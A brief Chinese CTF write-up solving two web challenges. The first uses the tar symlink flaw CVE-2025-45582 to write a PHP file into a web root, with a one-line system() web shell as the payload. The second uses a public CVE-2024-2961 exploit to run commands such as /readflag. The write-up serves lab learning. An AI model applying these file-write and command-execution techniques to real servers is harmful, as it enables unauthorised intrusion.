# EZ_upload
一个比较新的历史漏洞:
CVE-2025-45582
这个漏洞源于 tar 命令虽然会过滤掉压缩文件中的 ../
但是可以使用已有的软连接,并且而解压时 tar 也不会过滤软链接这个东西,两者结合起来就可以实现任意文件写入
先上传第一个 tar 包,里面是软链接,注意 windows 下要使用 wsl,否则会报错:
ln -s ../../../../../var/www/html x | |
#创建软连接,指向 web 目录,命名为 x | |
tar -cf tar1.tar x | |
#压缩后上传,此时 x 就在 web 目录下 | |
tar -cf tar2.tar x/ma.php | |
#使用软链接指向要使用的 payload,并上传,此时网页端访问这个 php 文件就可以得到输出,可以直接写 & lt;?php @system ('cat /flag');?> |
# SeRCE
一个稍微旧一点的历史漏洞
CVE-2024-2961
原理那是 pwn✌的事情,我就不看了,大概是个缓冲区溢出漏洞
网上有现成的 exp(windows 下要用 wsl),remote 类里:
本来的键名是 file,这里改成 filetoread
, 以及:
原来的 contents 都是小写,这里首字母改成大写
这道题本身是个 file_get_contents 的任意文件读,实际测试后能发现这个程序运行的用户权限相当的低,对很多文件都是不可读不可写,部分只读(比如 /etc/passwd
)。不过我们依然可以尝试写入 /tmp 文件夹,这个文件夹默认所有用户都可以读写
payload,使用现成的 exp 一把梭:
ls -all ../../../../ > /tmp/1.txt | |
#先看下根目录有什么,权限如何,用任意文件读读这个 txt | |
#可以发现根目录有个 readflag 的可执行文件,并且具有执行权限 | |
/readflag > /tmp/1.txt | |
#再次任意文件读可得 flag |
PS:这道题有个序列化和反序列化的问题,正常是要构造一个不完整的类,使其不相等。但是实测随便乱传点什么都行,没啥意义的操作。